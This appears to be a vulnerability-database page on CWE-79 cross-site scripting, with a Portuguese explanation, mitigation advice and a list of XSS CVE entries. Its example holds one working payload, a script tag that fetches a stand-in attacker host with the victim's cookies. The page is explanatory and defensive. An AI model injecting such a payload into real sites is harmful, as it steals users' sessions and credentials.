Fallos del tipo CWE-79

28.943 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-24182MEDIUMLuCI openwrt-22.03 branch git-22.361.69894-438c598 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the compoEPSS 0.6%CVE-2021-33848MEDIUMFresenius Kabi Agilia Connect Infusion System cross site scriptingEPSS 0.6%CVE-2022-40704MEDIUMA XSS vulnerability was found in phoromatic_r_add_test_details.php in phoronix-test-suite.EPSS 0.6%CVE-2023-42496CRITICALReflected cross-site scripting (XSS) vulnerability on the add assignees to a role page in Liferay Portal 7.3.3 through 7.4.3.97, and LiferayEPSS 0.6%CVE-2023-6440LOWSourceCodester Book Borrower System add-book.php cross site scriptingEPSS 0.6%CVE-2021-24694—Simple Download Monitor < 3.9.11 - Contributor+ Stored Cross-Site Scripting via ShortcodesEPSS 0.6%CVE-2023-24203MEDIUMCross Site Scripting vulnerability in SourceCodester Simple Customer Relationship Management System v1.0 allows attacker to execute arbitaryEPSS 0.6%CVE-2026-84031CRITICALIBM Guardium Data Protection is affected by multiple vulnerabilities.EPSS 0.6%CVE-2021-25046—Modern Events Calendar Lite < 6.2.0 - Subscriber+ Category Add Leading to Stored XSSEPSS 0.6%CVE-2022-25784CRITICALUser controllable HTML element attribute (potential XSS)EPSS 0.6%CVE-2023-43458MEDIUMCross Site Scripting (XSS) vulnerability in Resort Reservation System v.1.0 allows a remote attacker to execute arbitrary code and obtain seEPSS 0.6%CVE-2023-42498CRITICALReflected cross-site scripting (XSS) vulnerability in the Language Override edit screen in Liferay Portal 7.4.3.8 through 7.4.3.97, and LifeEPSS 0.6%CVE-2022-2404MEDIUMWP Popup Builder < 1.2.9 - Reflected Cross-Site ScriptingEPSS 0.6%CVE-2026-3438MEDIUMNexus Repository 3 - Reflected Cross-Site Scripting (XSS) in ?describe PagesEPSS 0.6%CVE-2022-42066MEDIUMOnline Examination System version 1.0 suffers from a cross site scripting vulnerability via index.php.EPSS 0.6%CVE-2023-6442LOWPHPGurukul Nipah Virus Testing Management System add-phlebotomist.php cross site scriptingEPSS 0.6%CVE-2024-13853MEDIUMSEO Tools <= 4.0.7 - Reflected XSSEPSS 0.6%CVE-2023-1857LOWSourceCodester Online Computer and Laptop Store cross site scriptingEPSS 0.6%CVE-2022-2020LOWSourceCodester Prison Management System System Name cross site scriptingEPSS 0.6%CVE-2020-11051MEDIUMXSS in Wiki.jsEPSS 0.6%